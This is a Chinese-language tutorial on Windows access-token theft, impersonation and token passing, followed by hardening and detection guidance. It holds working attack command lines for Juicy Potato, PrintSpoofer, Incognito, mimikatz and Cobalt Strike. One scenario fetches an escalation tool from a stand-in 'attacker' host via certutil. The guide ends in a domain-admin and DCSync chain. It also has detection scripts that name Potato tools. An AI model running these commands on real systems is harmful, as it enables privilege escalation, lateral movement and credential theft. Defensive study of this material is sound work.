Windows 令牌攻击、传递与防御完全指南

← 返回指南列表

Windows 令牌攻击、传递与防御完全指南

Windows 访问令牌(Access Token)是 Windows 安全模型的核心,描述了进程或线程的安全上下文。令牌决定了用户能访问哪些资源、执行哪些操作。攻击者通过令牌劫持、令牌窃取、令牌伪造等手段,可以在不破解密码的情况下获得 SYSTEM 权限或在网络中横向移动。


一、Windows 令牌基础

1.1 什么是访问令牌

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

每个 Windows 进程启动时都会获得一个主令牌(Primary Token),该令牌包含:

令牌组件 说明 攻击面
用户 SID 用户的唯一安全标识符 提权到其他用户
组 SID 所属的组列表(如 Administrators) 加入特权组
特权列表 用户拥有的特权(如 SeDebugPrivilege) 启用特权执行操作
完整性级别 进程的信任级别(低/中/高/系统) 提升完整性级别
模拟等级 允许的模拟级别 令牌窃取攻击的核心
会话 ID 所属的终端服务会话 跨会话攻击

1.2 令牌类型

类型 说明 用途 攻击目标
主令牌(Primary Token) 分配给进程,定义进程的安全上下文 创建进程时指定令牌 窃取 SYSTEM 进程的主令牌
模拟令牌(Impersonation Token) 分配给线程,临时采用其他用户的安全上下文 服务器模拟客户端 Rotten Potato 系列攻击
有效令牌(Effective Token) 限制后的令牌 UAC 提权确认 绕过 UAC 获取高权限令牌

1.3 关键特权

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
特权 常量名 说明 常见拥有者
SeDebugPrivilege SE_DEBUG_NAME 调试程序,读取任意进程内存/句柄 Administrators
SeTakeOwnershipPrivilege SE_TAKE_OWNERSHIP_NAME 取得文件/对象所有权 Administrators
SeBackupPrivilege SE_BACKUP_NAME 备份文件,读取任意文件 Administrators, Backup Operators
SeRestorePrivilege SE_RESTORE_NAME 恢复文件,写入任意文件 Administrators, Backup Operators
SeImpersonatePrivilege SE_IMPERSONATE_NAME 模拟用户 LOCAL SERVICE, NETWORK SERVICE
SeAssignPrimaryTokenPrivilege SE_ASSIGNPRIMARYTOKEN_NAME 分配主令牌 LOCAL SERVICE, NETWORK SERVICE
SeTcbPrivilege SE_TCB_NAME 作为操作系统一部分运行 SYSTEM
SeLoadDriverPrivilege SE_LOAD_DRIVER_NAME 加载/卸载驱动 Administrators
SeShutdownPrivilege SE_SHUTDOWN_NAME 关闭系统 Administrators, Users

二、令牌操作 API

2.1 核心 Win32 API

CPP
// 打开进程令牌
BOOL OpenProcessToken(
    HANDLE ProcessHandle,          // 目标进程句柄
    DWORD DesiredAccess,           // 期望的访问权限
    PHANDLE TokenHandle            // 输出令牌句柄
);

// 打开线程令牌(模拟令牌)
BOOL OpenThreadToken(
    HANDLE ThreadHandle,
    DWORD DesiredAccess,
    BOOL OpenAsSelf,               // 是否以当前线程安全上下文打开
    PHANDLE TokenHandle
);

// 复制令牌
BOOL DuplicateToken(
    HANDLE ExistingTokenHandle,    // 源令牌
    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,  // 模拟级别
    PHANDLE DuplicateTokenHandle   // 输出的新令牌
);

// 复制令牌(完整版)
BOOL DuplicateTokenEx(
    HANDLE hExistingToken,
    DWORD dwDesiredAccess,
    LPSECURITY_ATTRIBUTES lpTokenAttributes,
    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
    TOKEN_TYPE TokenType,          // 主令牌或模拟令牌
    PHANDLE phNewToken
);

// 模拟登录用户
BOOL ImpersonateLoggedOnUser(
    HANDLE hToken                  // 要模拟的用户的令牌
);

// 恢复线程模拟(停止模拟)
BOOL RevertToSelf();

// 以指定令牌创建进程
BOOL CreateProcessAsUser(
    HANDLE hToken,                 // 令牌句柄
    LPCTSTR lpApplicationName,
    LPTSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCTSTR lpCurrentDirectory,
    LPSTARTUPINFO lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
);

// 以指定令牌创建进程(推荐)
BOOL CreateProcessWithTokenW(
    HANDLE hToken,
    DWORD dwLogonFlags,
    LPCWSTR lpApplicationName,
    LPWSTR lpCommandLine,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCWSTR lpCurrentDirectory,
    LPSTARTUPINFOW lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
);

2.2 模拟级别

CPP
typedef enum _SECURITY_IMPERSONATION_LEVEL {
    SecurityAnonymous,         // 匿名:服务器无法识别客户端
    SecurityIdentification,    // 标识:服务器可识别但无法模拟
    SecurityImpersonation,     // 模拟:服务器可在本地模拟客户端
    SecurityDelegation         // 委托:服务器可在远程模拟客户端
} SECURITY_IMPERSONATION_LEVEL;
级别 值 说明 攻击价值
Anonymous 0 匿名模拟,服务器无法获取任何客户端信息 无
Identification 1 标识模拟,服务器可查询 ACL 低
Impersonation 2 完全模拟,可在本地执行客户端操作 高(本地提权)
Delegation 3 委托模拟,可在远程服务器模拟客户端 极高(横向移动)

2.3 令牌访问权限

CPP
#define TOKEN_ASSIGN_PRIMARY   0x0001    // 分配主令牌
#define TOKEN_DUPLICATE        0x0002    // 复制令牌
#define TOKEN_IMPERSONATE      0x0004    // 模拟令牌
#define TOKEN_QUERY            0x0008    // 查询令牌信息
#define TOKEN_QUERY_SOURCE     0x0010    // 查询令牌来源
#define TOKEN_ADJUST_PRIVILEGES 0x0020   // 调整令牌特权
#define TOKEN_ADJUST_GROUPS    0x0040    // 调整令牌组
#define TOKEN_ADJUST_DEFAULT   0x0080    // 调整默认 DACL
#define TOKEN_ADJUST_SESSIONID 0x0100    // 调整会话 ID

#define TOKEN_ALL_ACCESS (标准权限 | 以上所有)

三、令牌窃取技术

3.1 令牌窃取原理

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

3.2 手工令牌窃取

BATCH
:: 方案 1:使用 whoami 查看当前令牌
whoami /user
whoami /priv
whoami /groups

:: 方案 2:找到 SYSTEM 进程 PID
tasklist /SVC | findstr "lsass.exe"
:: 或者
wmic process where "name='lsass.exe'" get processid

:: 方案 3:使用 PowerSploit 的令牌操作
POWERSHELL
# PowerShell 手动令牌窃取(需要管理员 + SeDebugPrivilege)

function Copy-SystemToken {
    param(
        [int]$ProcessId = (Get-Process -Name "lsass").Id
    )

    # 启用 SeDebugPrivilege
    $ntdll = Add-Type -MemberDefinition @'
        [DllImport("ntdll.dll")]
        public static extern int NtSetInformationProcess(
            IntPtr hProcess, int infoClass, byte[] info, int length
        );
'@ -Name "Ntdll" -Namespace "Win32" -PassThru

    # 使用 Process.Handle 获取 PROCESS_ALL_ACCESS
    $process = Get-Process -Id $ProcessId
    $handle = $process.Handle

    # 使用 Win32 API 进行令牌操作
    Add-Type -TypeDefinition @'
        using System;
        using System.Runtime.InteropServices;

        public class TokenManip {
            [DllImport("advapi32.dll", SetLastError = true)]
            public static extern bool OpenProcessToken(
                IntPtr ProcessHandle,
                uint DesiredAccess,
                out IntPtr TokenHandle
            );

            [DllImport("advapi32.dll", SetLastError = true)]
            public static extern bool DuplicateTokenEx(
                IntPtr hExistingToken,
                uint dwDesiredAccess,
                IntPtr lpTokenAttributes,
                int ImpersonationLevel,
                int TokenType,
                out IntPtr phNewToken
            );

            [DllImport("advapi32.dll", SetLastError = true)]
            public static extern bool CreateProcessWithTokenW(
                IntPtr hToken,
                uint dwLogonFlags,
                string lpApplicationName,
                string lpCommandLine,
                uint dwCreationFlags,
                IntPtr lpEnvironment,
                string lpCurrentDirectory,
                ref STARTUPINFOW lpStartupInfo,
                out PROCESS_INFORMATION lpProcessInfo
            );
        }
'@
}

3.3 Incognito 工具

BATCH
:: Incognito 是 Metasploit 中的令牌操作扩展
:: 也作为独立工具可用

:: ===== 查看可用令牌 =====
incognito.exe list_tokens -u
incognito.exe list_tokens -g

:: 输出示例:
:: [+] Delegation Tokens Available
::     NT AUTHORITY\SYSTEM
::     DOMAIN\Administrator
::     DOMAIN\sqlservice
::
:: [+] Impersonation Tokens Available
::     NT AUTHORITY\LOCAL SERVICE
::     NT AUTHORITY\NETWORK SERVICE

:: ===== 模拟特定用户 =====
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

:: ===== 在 Metasploit 中使用 =====
msf6 > load incognito
msf6 > list_tokens -u
msf6 > impersonate_token "NT AUTHORITY\SYSTEM"
msf6 > shell

3.4 PowerSploit 令牌操作

POWERSHELL
# PowerSploit / Empire 的令牌操作函数

# 导入 PowerSploit
Import-Module .\PowerSploit.psm1

# 使用 Invoke-TokenManipulation
# 列出可用令牌
Invoke-TokenManipulation -Enumerate

# 窃取 SYSTEM 令牌
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM"

# 窃取指定进程的令牌
Invoke-TokenManipulation -ProcessId 1234

四、令牌模拟与提权(Potato 系列)

4.1 Rotten Potato

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
BATCH
:: Rotten Potato (MS16-075)
:: 适用于 Windows 7/8/2008/2012
:: 需要 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege

:: ===== 攻击步骤 =====
:: 1. 通过初始漏洞获得 IIS/AppPool 权限
:: 2. 检查是否有所需特权
whoami /priv | findstr "Impersonate"

:: 3. 运行 RottenPotato
RottenPotato.exe

:: 4. 执行命令(以 SYSTEM 权限)
RottenPotato.exe cmd.exe

:: 5. 验证
whoami
:: NT AUTHORITY\SYSTEM

4.2 Juicy Potato

Juicy Potato 是 Rotten Potato 的改进版,支持更多 Windows 版本和自定义 CLSID:

BATCH
:: Juicy Potato
:: 适用于 Windows 7/8/10/2008/2012/2016
:: 需要 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege

:: ===== 基本用法 =====
JuicyPotato.exe -l 1337 -p cmd.exe -t *
:: -l : 本地端口号
:: -p : 要执行的程序
:: -t : 模拟级别(* = 默认)

:: ===== 指定 CLSID =====
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c "{9B1F122C-2982-4E91-AA8B-E071D54F2A71}"
:: -c : COM CLSID(不同 Windows 版本不同)

:: ===== 通过 PowerShell 执行 =====
JuicyPotato.exe -l 1337 -p c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "-exec bypass -c whoami > C:\temp\result.txt" -t *

:: ===== 常用 CLSID =====
:: Windows 10 1809: {9B1F122C-2982-4E91-AA8B-E071D54F2A71}
:: Windows 10 1903: {E8FB1C50-D44C-4D9B-8493-8143A5D6221B}
:: Windows 10 2004: {B2A975B7-06F4-4573-BC21-591396B0F810}
:: Windows Server 2016: {F87B2C4A-A8E9-4DC1-A153-BEE7D86FFF06}
:: Windows Server 2019: {5167B42A-83B7-4B42-91AA-0EFD39F7B8D8}

4.3 PrintSpoofer

PrintSpoofer 利用 Windows 打印系统的特权模拟漏洞:

BATCH
:: PrintSpoofer
:: 适用于 Windows 10/11/2016/2019/2022
:: 需要 SeImpersonatePrivilege

:: ===== 标准用法 =====
PrintSpoofer.exe -i -c cmd.exe
:: -i : 交互模式
:: -c : 要执行的程序

:: ===== 非交互模式 =====
PrintSpoofer.exe -c "powershell -exec bypass -c whoami > C:\temp\result.txt"

:: ===== 通过管道接收命令 =====
PrintSpoofer.exe -d 3 -c cmd.exe
:: -d : 通过指定句柄通信

4.4 其他 Potato 变种

工具 漏洞类型 适用版本 特权要求
Rotten Potato MS16-075 (DCOM + 命名管道) Win 7/8/2008/2012 SeImpersonate
Juicy Potato 同上 + 自定义 CLSID Win 7-10/2008-2016 SeImpersonate
PrintSpoofer 打印系统 bug Win 10+/2016+ SeImpersonate
EfsPotato EFSRPC 命名管道 Win 10+/2016+ SeImpersonate
RoguePotato DCOM 改进版 Win 10+/2016+ SeImpersonate
SharpEfsPotato C# 版 Efs 模拟 Win 10+/2016+ SeImpersonate

4.5 Potato 攻击防御原理

CODE
为什么 Potato 攻击有效:

1. 服务账户(LOCAL SERVICE / NETWORK SERVICE)拥有 SeImpersonatePrivilege
2. 这些特权允许服务模拟任何用户
3. Potato 攻击创建一个命名管道,诱使 SYSTEM 进程连接
4. 当 SYSTEM 连接到命名管道时,服务可以通过模拟获得 SYSTEM 令牌
5. 使用该令牌启动进程 → 获得 SYSTEM 权限

为什么 Windows 不修复:
- Potato 系列攻击利用的是"正常"功能(模拟)
- 服务账户设计上需要模拟权限
- 完全移除这些特权会破坏大量合法功能

五、令牌传递攻击

5.1 什么是令牌传递

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

令牌传递(Token Passing)是将一个用户的令牌传递给另一个进程,使该进程以目标用户的权限运行的技术。与 Pass-the-Hash 不同,令牌传递不需要破解密码或 NTLM hash。

5.2 传递令牌到远程系统

POWERSHELL
# 方案 1:通过 WMI 传递令牌
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "cmd.exe", $env:COMPUTERNAME `
    -Credential $cred

# 方案 2:通过 PowerShell Remoting
$session = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $session -ScriptBlock { whoami }

# 方案 3:使用代理令牌
# 如果一个进程拥有 SeImpersonatePrivilege
# 它可以模拟任何出现过的用户

5.3 Pass-the-Token 工具

BATCH
:: ===== Mimikatz 的令牌操作 =====
mimikatz.exe

:: 列出可用令牌
mimikatz # token::list

:: 模拟指定用户
mimikatz # token::elevate /user:Administrator

:: 模拟 SYSTEM
mimikatz # token::elevate

:: 模拟域管理员
mimikatz # token::elevate /domain:CONTOSO /user:Administrator

:: ===== Cobalt Strike 的令牌传递 =====
beacon> steal_token 1234      :: 窃取 PID 1234 的令牌
beacon> rev2self              :: 恢复原始令牌
beacon> make_token DOMAIN\User Password   :: 创建新令牌
beacon> pth DOMAIN\User NTLM_HASH         :: Pass-the-Hash

5.4 Incognito 令牌传递

BATCH
:: Incognito 令牌传递

:: ===== 复制令牌到当前会话 =====
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

:: ===== 将令牌添加到当前会话 =====
incognito.exe add_user -c "DOMAIN\Admin" cmd.exe

:: ===== 列出所有可用令牌 =====
incognito.exe list_tokens -u
incognito.exe list_tokens -g

六、令牌滥用检测与防御

6.1 关键防御措施

POWERSHELL
# ===== 1. 限制 SeImpersonatePrivilege =====
# 只有必要的服务账户应该拥有此特权
# 通过 GPO 配置:
# 计算机配置 -> Windows 设置 -> 安全设置 -> 本地策略 -> 用户权限分配
# "模拟登录后客户端" -> 限制为特定账户

# ===== 2. 启用 Windows Defender Credential Guard =====
# 保护 LSASS,防止令牌被窃取
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# ===== 3. 启用受保护进程(PPL)保护 LSASS =====
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# ===== 4. 监控 OpenProcessToken 调用 =====
# 非 SYSTEM 进程打开 SYSTEM 进程令牌 = 可疑

# ===== 5. 限制服务账户的交互式登录 =====
# 服务账户不应被允许交互式登录

6.2 监控规则

XML
<!-- Sysmon 监控规则 -->
<Sysmon>
  <EventFiltering>
    <!-- 监控可疑的进程创建(CreateProcessAsUser) -->
    <RuleGroup name="Token Abuse Detection" groupRelation="or">
      <!-- 检测命名管道创建 + 模拟 (Potato 系列) -->
      <PipeEvent onmatch="include">
        <PipeName condition="contains">\RPC Control\</PipeName>
      </PipeEvent>

      <!-- 检测令牌提升(通过 DuplicateTokenEx) -->
      <ProcessAccess onmatch="include">
        <GrantedAccess condition="contains">0x1F3FFF</GrantedAccess>
      </ProcessAccess>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
POWERSHELL
# Windows 安全事件监控

# 事件 ID 4672:分配特殊特权
# 监控 SeDebugPrivilege 被启用
$rule = @"
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4672)]]
    </Select>
  </Query>
</QueryList>
"@

# 事件 ID 4688:进程创建
# 监控由 SYSTEM 创建的 cmd.exe / powershell.exe
# 异常的系统进程启动子 cmd = 令牌窃取

# 事件 ID 4648:使用显式凭据登录
# 监控使用其他用户令牌的登录

# 事件 ID 4656:对象句柄请求
# 监控对 LSASS 进程的异常句柄请求

6.3 令牌攻击检测脚本

POWERSHELL
# TokenThreatDetector.ps1
$threats = @()

# 检测 1:检查不必要的 SeImpersonatePrivilege
$services = Get-WmiObject Win32_Service | Where-Object {
    $_.StartName -like "*LOCAL SERVICE*" -or
    $_.StartName -like "*NETWORK SERVICE*"
}

# 检测 2:检查正在运行的 Potato 工具进程
$potatoProcesses = @("juicypotato", "rottenpotato", "printspoofer",
                     "roguepotato", "efspotato")
foreach ($proc in $potatoProcesses) {
    $found = Get-Process -Name $proc -ErrorAction SilentlyContinue
    if ($found) {
        $threats += [PSCustomObject]@{
            Threat = "Potato 提权工具"
            Detail = "发现进程: $proc (PID: $($found.Id))"
            Severity = "高危"
        }
    }
}

# 检测 3:检查异常命名管道
$pipes = Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue
$suspiciousPipes = $pipes | Where-Object {
    $_.Name -match "^\d{3,6}$|^rpcap|^meterpreter"
}
if ($suspiciousPipes) {
    $threats += [PSCustomObject]@{
        Threat = "可疑命名管道"
        Detail = "发现命名管道: $($suspiciousPipes.Name -join ', ')"
        Severity = "中危"
    }
}

# 检测 4:检查滥用 SeDebugPrivilege
# 通过安全事件日志分析
$debugEvents = Get-WinEvent -FilterHashtable @{
    LogName = "Security"
    ID = 4672
} -MaxEvents 100 -ErrorAction SilentlyContinue

$suspicious = $debugEvents | Where-Object {
    $_.Properties[1].Value -match "SeDebugPrivilege" -and
    $_.Properties[0].Value -notmatch "SYSTEM"
}
if ($suspicious) {
    $threats += [PSCustomObject]@{
        Threat = "异常 SeDebugPrivilege 使用"
        Detail = "非 SYSTEM 进程启用调试特权"
        Severity = "高危"
    }
}

$threats | Format-Table -AutoSize
if (-not $threats) {
    Write-Output "未发现令牌威胁"
}

6.4 防御最佳实践

防御措施 说明 优先级
Credential Guard 保护 LSASS,防止令牌窃取 高
PPL (RunAsPPL) 保护 LSASS 进程 高
限制 SeImpersonatePrivilege 减少可模拟的用户范围 高
监控事件 4672 检测特权启用 中
监控事件 4688 检测异常进程创建链 中
限制 Local Service 账户 使用虚拟账户替代 中
ASR 规则 阻止 LSASS 凭据窃取 中
最小权限原则 服务账户只赋予必要权限 高
日志集中管理 统一收集安全事件 中
EDR 部署 实时检测令牌滥用 高

6.5 Windows 10 以上专用防御

POWERSHELL
# Windows 10 1809+ 新增的防御功能

# ===== 1. 启用内存完整性(HVCI)=====
# 设置 -> 更新和安全 -> Windows 安全 -> 设备安全性 -> 核心隔离
# 内存完整性 -> 开启

# 或通过注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f

# ===== 2. 启用 Credential Guard(凭据保护)=====
# 通过组策略或注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# ===== 3. Windows Defender ASR 规则 =====
# 规则:阻止通过 WMI 事件订阅的持久化
# 规则:阻止 LSASS 凭据窃取
Add-MpPreference -AttackSurfaceReductionRules_Ids "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2" -AttackSurfaceReductionRules_Actions Enabled

# ===== 4. 启用 Remote Credential Guard =====
# 远程桌面场景下防止令牌被传递
# 通过 GPO:计算机配置 -> 管理模板 -> 系统 -> 凭据委派
# -> "限制将凭据委派给远程服务器" -> 已启用

七、实战场景

场景 1:IIS 到 SYSTEM 提权

BATCH
:: 初始:通过 WebShell 获得 IIS AppPool 权限
whoami
:: iis apppool\defaultapppool

:: 检查当前特权
whoami /priv
:: SeImpersonatePrivilege = Enabled
:: SeAssignPrimaryTokenPrivilege = Enabled

:: 上传并运行 PrintSpoofer
certutil -urlcache -f http://attacker/PrintSpoofer.exe C:\temp\ps.exe
C:\temp\ps.exe -i -c cmd.exe

:: 成功获得 SYSTEM Shell
whoami
:: nt authority\system

场景 2:横向移动中的令牌传递

BATCH
:: 通过 Cobalt Strike 横向移动

beacon> ps                           // 查看远程进程
beacon> steal_token 4568             // 窃取管理员进程令牌
beacon> shell dir \\DC\C$\           // 访问域控(使用窃取的令牌)

beacon> make_token DOMAIN\admin P@ssw0rd  // 或直接创建令牌
beacon> jump psexec TARGET smb        // 使用令牌横向移动

beacon> rev2self                      // 恢复原始令牌

场景 3:域渗透中的令牌滥用

CODE
场景:普通域用户 → 域管理员

1. 初始访问:找到一台运行服务的域内机器
2. 提权到 SYSTEM(使用 Potato / CVE)
3. 查找域管理员登录会话(令牌中保留了登录信息)
4. 使用 Incognito 窃取域管理员令牌
   incognito.exe list_tokens -u
   incognito.exe execute -c "DOMAIN\DomainAdmin" cmd.exe
5. 使用域管理员令牌访问域控
   dir \\DC\SYSVOL
6. 执行 DCSync 转储所有域用户 hash

八、总结

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
攻击技术 所需权限 防御要点
令牌窃取(从 SYSTEM 进程) SeDebugPrivilege Credential Guard, RunAsPPL
Potato 系列提权 SeImpersonate 最小化服务账户权限
令牌传递(横向移动) 管理员或域用户令牌 网络分段, 受限管理员模式
Incognito / Mimikatz 令牌操作 管理员 EDR 检测, 日志审计

Windows 令牌攻击的核心在于 Windows 设计的模拟机制本身。防御不能仅依赖单一措施,必须采用 Credential Guard + PPL + 最小权限 + 行为监控的纵深防御策略。


参考